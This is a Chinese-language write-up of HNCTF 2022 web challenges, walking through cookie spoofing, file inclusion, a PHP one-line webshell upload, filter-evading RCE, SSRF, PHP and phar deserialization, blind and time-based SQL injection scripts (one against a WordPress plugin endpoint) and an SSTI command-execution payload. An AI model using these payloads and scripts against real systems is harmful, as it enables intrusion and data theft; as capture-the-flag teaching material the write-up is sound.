• 2022HNCTF-web -- 部分


    [Week1]Interesting_http

    分析

    应该和http协议有关 想要什么 肯定flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Is2GDWt-1666973111128)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/1666972230013-1e6c375b-ee3b-427d-8e29-7df382e20751-16669726368142.png)]

    说我们不是admin 看看cookie

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HjeGTS6h-1666973111129)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170143595.png)]

    修改cookie在这里插入图片描述

    继续修改 x-forwarded-for

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-czZfl2wk-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170312095.png)]

    payload

    POST:want=flag
    请求头 Cookie: user=admin
    	  x-forwarded-for:127.0.0.1
    
    • 1
    • 2
    • 3

    [Week1]2048

    分析

    题目描述

    你能达到20000分吗?应该是要求我们玩到20000分

    F12查看脚本

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I4PpmmCA-1666973111130)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170621722.png)]

    直接输入

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tB3Ia9S7-1666973111131)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170637534.png)]

    payload

    在控制台输入

    alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
    
    • 1

    [Week1]easy_html

    分析

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecU3AgtC-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170744760.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GZmHQtW0-1666973111132)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170812253.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vmHH0a5C-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170828618.png)]

    输入框限制了11位 f12修改html属性 或者直接post参数

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pYgjTlcQ-1666973111133)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026170928310.png)]

    paylaod

    POST请求参数
    cnt=11111111111&login=%E7%99%BB%E5%BD%95
    
    • 1
    • 2

    [Week1]Interesting_include

    分析

    题目描述:web手要懂得搜索 应该要借助浏览器

    一眼伪协议

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n2mt0JPN-1666973111134)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171036902.png)]

    base64解码

    在这里插入图片描述

    payload

    GET:
    ?filter=php://filter/convert.base64-encode/resource=flag.php
    base64解码
    
    • 1
    • 2
    • 3

    [Week1]easy_upload

    分析

    文件上传题目

    试探一下上传个木马

     eval($_POST[1]);?>
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dEqywAYm-1666973111135)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026171337477.png)]

    我敲,直接上传成功 有些不对劲哦!

    访问一下下试试,我敲 送分题

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tKrDzbaz-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172150775.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]

    payload

    直接上传php一句话木马
    flag在根目录下
    
    • 1
    • 2

    [Week1]What is Web

    分析

    我敲 我傻了 这个题没写

    直接查看源码 搜索 flag 或者
    在这里插入图片描述
    base64解码

    payload

    也就是看源码

    [Week1]Challenge__rce–自增RCE

    分析

    hint:ctf吃瓜杯

    打开源文件,查看源码 发现hint

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mxXpJtSA-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215456485.png)]

    直接给出的是源码

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xHsf0zmL-1666973111137)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026215521446.png)]

    
    error_reporting(0);
    if (isset($_GET['hint'])) {
        highlight_file(__FILE__);
    }
    if (isset($_POST['rce'])) {
        $rce = $_POST['rce'];
        //长度小于等于120
        if (strlen($rce) <= 120) {
            if (is_string($rce)) {
                //不能含有以下内容
                if (!preg_match("/[!@#%^&*:'\-\"\/|`a-zA-Z~\\\\]/", $rce)) {
                    eval($rce);
                } else {
                    echo("Are you hack me?");
                }
            } else {
                echo "I want string!";
            }
        } else {
            echo "too long!";
        }
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    先跑一下试试那些可见字符没有被过滤

    for($i=32;$i<127;$i++){
        if (!preg_match("/[!@#%^&*:'\-\"\/|`a-zA-Z~\\\\]/", chr($i))) {
            echo chr($i);
        }
    }
    
    #  $()+,.0123456789;=[]_{} 发现这些可以使用 那么 思路来了 自增RCE
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    大致说一下

    php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
    本题中限制字符120 我们可以构造chr函数 拼接GET
    $_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
    
    
    url编码
    %24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5WFTN9Ih-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026222606031-16667943670284.png)]

    说明是可行的

    $_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
    
    • 1

    这样说是太长了 emmm

    检查发现写的有点问题 改进以下

    $_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
    
    
    GET
    ?1=system&2=ls
    
    POST
    rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mYKYRUbj-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026225911182.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JwwDTUgG-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230033386.png)]

    payload

    GET
    ?1=system&2=cat /ffflllaaaggg
    
    POST
    rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
    
    • 1
    • 2
    • 3
    • 4
    • 5

    [WEEK2]easy_include – 包含日志

    分析

    
    //WEB手要懂得搜索
    
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
            die("error");
        }
        include($file);
    }else{
        highlight_file(__FILE__);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    过滤了php date flag 看来是无法直接读取flag 而且无法使用伪协议

    想到之前学的文件包含利用姿势:包含访问日志 查看以下服务器

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ097Sua-1666973111138)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230929757.png)]

    默认文件位置在:

    /var/log/nginx/access.log

    直接包含以下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yoYTGg0Z-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026230957150.png)]

    payload

    就是抓包在请求头写入一个木马 连接就好

    [WEEK2]ez_ssrf

    分析

    根据题目访问index.php

    
    
    highlight_file(__FILE__);
    error_reporting(0);
    
    $data=base64_decode($_GET['data']);
    $host=$_GET['host'];
    $port=$_GET['port'];
    
    $fp=fsockopen($host,intval($port),$error,$errstr,30);
    if(!$fp) {
        die();
    }
    else {
        fwrite($fp,$data);
        while(!feof($data))
        {
            echo fgets($fp,128);
        }
        fclose($fp);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    考点就是php socket 伪造http请求ssrf

    猜测有flag.php 直接发送请求看看,等到几十秒 给出如下反应 那就访问本机把

    ?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FrJVpLfI-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093454019.png)]

    但是访问本机22819端口无回显,考虑一般都是80端口 试试呗

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6L7w5Gjj-1666973111139)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093534865.png)]

    这里要等待估计30s左右

    其实一开始我就访问的本机80 但是因为等的好久就关了!!

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZUwFtG67-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028093734103.png)]

    payload

    ?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
    
    • 1

    [WEEK2]Canyource – 无参数RCE

    分析

    打开发现直接给的源码

    highlight_file(__FILE__);
    if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
            eval($_GET['code']);}
        else
            die('nonono');}
    else
        echo('please input code');
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    ok发现此条正则表达式

    • 任意字符加()被替换为空

    • R就是代表当前的遍历 也就是替换后的$_GET['code']

    • 这个是递归的替换,也就是将a(v(1));=>1;

    preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
    
    • 1

    题目要求替换后的是;,也就是我们传参的类似a(b(c(x())));

    无参数RCE 可以网上一搜很多的

    下面我们开始进行解flag

    • localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    • pos() – 返回数组中的当前单元, 默认取第一个值
    • next – 将内部指针指向数组下一个元素并输出
    • scandir() – 扫描目录
    • array_reverse() – 翻转数组

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QNlIb2xG-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112321439.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HF2JMkmf-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112330919.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PF115PM7-1666973111140)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112342952.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x01YiRdw-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112430537.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hMPCJiMX-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112604918.png)]

    下面就是输出flag.php的内容

    过滤了

    url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/
    
    • 1

    使用 file_get_contents读取

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9zesh3Co-1666973111141)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112752274.png)]

    查看源码

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tHJZWcQX-1666973111142)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221028112758866.png)]

    payload

    ?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
    
    • 1

    [WEEK2]easy_unser

    分析

    PHP反序列化 打开题目为源码

    include 'f14g.php';
    error_reporting(0);
    
    highlight_file(__FILE__);
    
    class body{
    
        private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
    
        public function  __construct($want){
            $About_me = "When the object is created,I will be called";
            if($want !== " ") $this->want = $want;
            else $this->want = $this->todonothing;
        }
        function __wakeup(){
            $About_me = "When the object is unserialized,I will be called";
            $but = "I can CHANGE you";
            $this-> want = $but;
            echo "C1ybaby!";
        }
        function __destruct(){
            $About_me = "I'm the final function,when the object is destroyed,I will be called";
            echo "So,let me see if you can get what you want\n";
            if($this->todonothing === $this->want)
                die("鲍勃,别傻愣着!\n");
            if($this->want == "I can CHANGE you")
                die("You are not you....");
            if($this->want == "f14g.php" OR is_file($this->want)){
                die("You want my heart?No way!\n");
            }else{
                echo "You got it!";
                highlight_file($this->want);
            }
        }
    }
    
    class unserializeorder{
        public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
    "
    ; function __sleep(){ $About_me = "When the object is serialized,I will be called"; echo "We Come To HNCTF,Enjoy the ser14l1zti0n
    "
    ; } function __toString(){ $About_me = "When the object is used as a string,I will be called"; return $this->CORE; } } $obj = new unserializeorder(); echo $obj; $obj = serialize($obj); if (isset($_GET['ywant'])) { $ywant = @unserialize(@$_GET['ywant']); echo $ywant; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    审计一波源码

    我们的目标是  highlight_file($this->want); 也就是 body 类
    传入 ywant 
    要保证 不触发 __wakeup()  传入参数数量大于实际参数数量绕过
    绕过 $this->want == "f14g.php" OR is_file($this->want) 
        - 伪协议 is_file检测除了file外的伪协议都是false
        - 假目录   ./flase/../f14g.php 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    POC

     
        class body{
    
        private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
    
        public function  __construct($want){
            $this->want = "./a/../f14g.php";
            //或者  $this->want = "php://filter/convert.base64-encode/resource=f14g.php";
            $this->todonothing = "22";
        }
    }
    echo(urlencode(serialize(new body())));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述

    payload

    O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
    
    或者
    
    O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
    
    • 1
    • 2
    • 3
    • 4
    • 5

    [WEEK2]easy_sql – 无列名盲注

    o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿

    分析

    打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了

    and && ^ # --+ 都被过滤

    • 盲注的话考虑:与、异或、按位或、按位与
    • 没有办法闭合考虑 or ||

    sql中字符数字可以和数字进行按位或

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4oiShfqr-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026232213666.png)]

    构造 1'|1||' 正确回显 1'|2||' 错误回显

    然后进行爆破数据库长度

    发现数据库的长度是3

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u0wNKgDJ-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026174631076.png)]

    进一步尝试,order、information_schema都被过滤

    information_schema 被过滤 -> 无列名注入

    order 被过滤 -> group 替换

    爆破数据库的列数,3列

    1'group/**/by/**/3,'
    前面的'闭合1前的'    后面的是闭合之前有的' 
    加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割
    
    select * from xx where id = '1'group by 5,'2'
    
    • 1
    • 2
    • 3
    • 4
    • 5

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1IXrpJS-1666973111143)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026193545902.png)]

    information_schema.table被过滤 可以使用 mysql.innodb_table_stats

    脚本爆破一下表的名字 得出 ccctttfff

    def get_cloumns():
        count = 1
        flag = ''
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    count += 1
                    break
                elif i == 126:
                    return False
                time.sleep(0.05)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    下面无列名爆破数据

    select 1,2,3 union select * from ccctttfff
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QmKgz93H-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194312863.png)]

    这样以来 1 2 3 分别对应一列 二列 三列 的列名

    然后

    select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a
    
    select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
    
    • 1
    • 2
    • 3

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fMfggjyA-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026194427324.png)]

    这样就可以在没有列名的情况下查询到数据库信息

    然后我们开始盲注

    1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
    
    • 1

    运行了好多遍 遍历出来的三列分别是

    # 第一列  1
    # 第二列  bob
    # 第三列 I am so handsome
    
    • 1
    • 2
    • 3

    呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库

    重新跑所有的数据库库名

    qwq,原谅我太菜

    跑出来有两个数据库

    ctf
    ccctttfff

    # 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改 
    #  limit 0,1 =>第一个数据库
    #  limit 1,1 =>第二个数据库
    #  ......
    def get_all_database():
        flag = ''
        count = 1
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    break
                elif i == 126:
                    return False
                time.sleep(0.1)
            count += 1
    
    # 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复
    def get_all_database():
        flag = ''
        count = 1
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    break
                elif i == 126:
                    return False
                time.sleep(0.1)
            count += 1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    第一个脚本结果:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dkp2cagP-1666973111144)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113412616.png)]

    第二个脚本结果:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g55lVKlk-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027113035256.png)]

    然后我跑的是所有的表名

    因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的

    # 结果:
    #    ctf:ccctttfff
    #    ctftraining:flag,news,users,gtid_slave_pos
    def get_tables():
        count = 1
        flag = ''
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    count += 1
                    break
                elif i == 126:
                    return False
                time.sleep(0.05)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列

    我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!

    然后就是靠懵了

    比赛中表的列数一般会小于10 也就 3 4 5左右

    我是从1开始试的

    1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
    
    • 1

    脚本

    def get_values():
        count = 1
        flag = ''
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                print(i)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    count += 1
                    break
                elif i == 126:
                    return False
                time.sleep(0.05)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    最后也是跑出来了

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oBfMminE-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027114429123.png)]

    PS:这个题挺鸡贼的哈哈哈

    payload

    就放的最后的

    def get_values():
        count = 1
        flag = ''
        while True:
            for i in range(32, 127):
                data = {
                    "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
                resp = requests.post(url=url, data=data)
                print(i)
                if success in resp.text:
                    flag += chr(i)
                    print(flag)
                    count += 1
                    break
                elif i == 126:
                    return False
                time.sleep(0.05)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    [WEEK2]ez_SSTI – 无过滤

    分析

    get参数是name,无过滤 直接SSTI注入就好

    payload

    ?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
    
    • 1

    [WEEK2]ohmywordpress

    CMS漏洞 存在sql注入 我自己搜的时候没找到相关资料

    所以说收集还需要仔细啊!

    分析

    在wp的帮助下 我才发现我没找的仔细

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ijI0tC8O-1667349239886)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221031085620133.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K1KxLxqb-1667349239887)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221031085515526.png)]

    就是一个时间盲注

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Xo0ZDqNH-1667349239888)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221031090057376.png)]

    payload

    写个脚本

    import requests
    import time
    # 这里我们直接猜测flag和上一个sql注入的flag位置相同
    # flag
    # ctftraining.flag
    url = "http://43.143.7.97:28193/wp-admin/admin-ajax.php"
    
    dict="NSSCTF{_-abcdefghijklmnopqrstuvwxyz0123456789}~"
    def get_values():
        count = 8
        flag = ''
        while True:
            for i in dict:
                data = {
                        "action": "qcopd_upvote_action",
                        "post_id": f"(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{count},1))={ord(i)}, sleep(2),0))enz)"
                        }
                print(i)
                start_time = time.time()
                resp = requests.post(url=url, data=data)
                end_time = time.time()
                if end_time-start_time>=1.5:
                    flag += i
                    print(flag)
                    count += 1
                    break
                elif i == "~":
                    return False
                time.sleep(0.05)
    get_values()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30

    跑出来的结果就是:NSSCTF{372320f2-85dc-4e9c-a1ce-cca6fc94ef56}

    [WEEK3]ez_phar

    upload.php上传

    
    class Flag{
        public $code;
    }
    
    @unlink("test.phar");
    $phar = new Phar("test.phar");
    $phar -> startBuffering();
    $phar -> setStub("GIF89a");
    $a = new Flag();
    $a->code = "system('cat /ffflllaaaggg');";
    $phar -> setMetadata($a);
    
    $phar -> addFromString("test.txt","test");
    
    $phar -> stopBuffering();
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    访问

    http://ip:port/?filename=phar://./upload/test3.png
    
    • 1

    [WEEK3]Fun_php

    分析

    打开题目直接给出的是源码

    
    error_reporting(0);
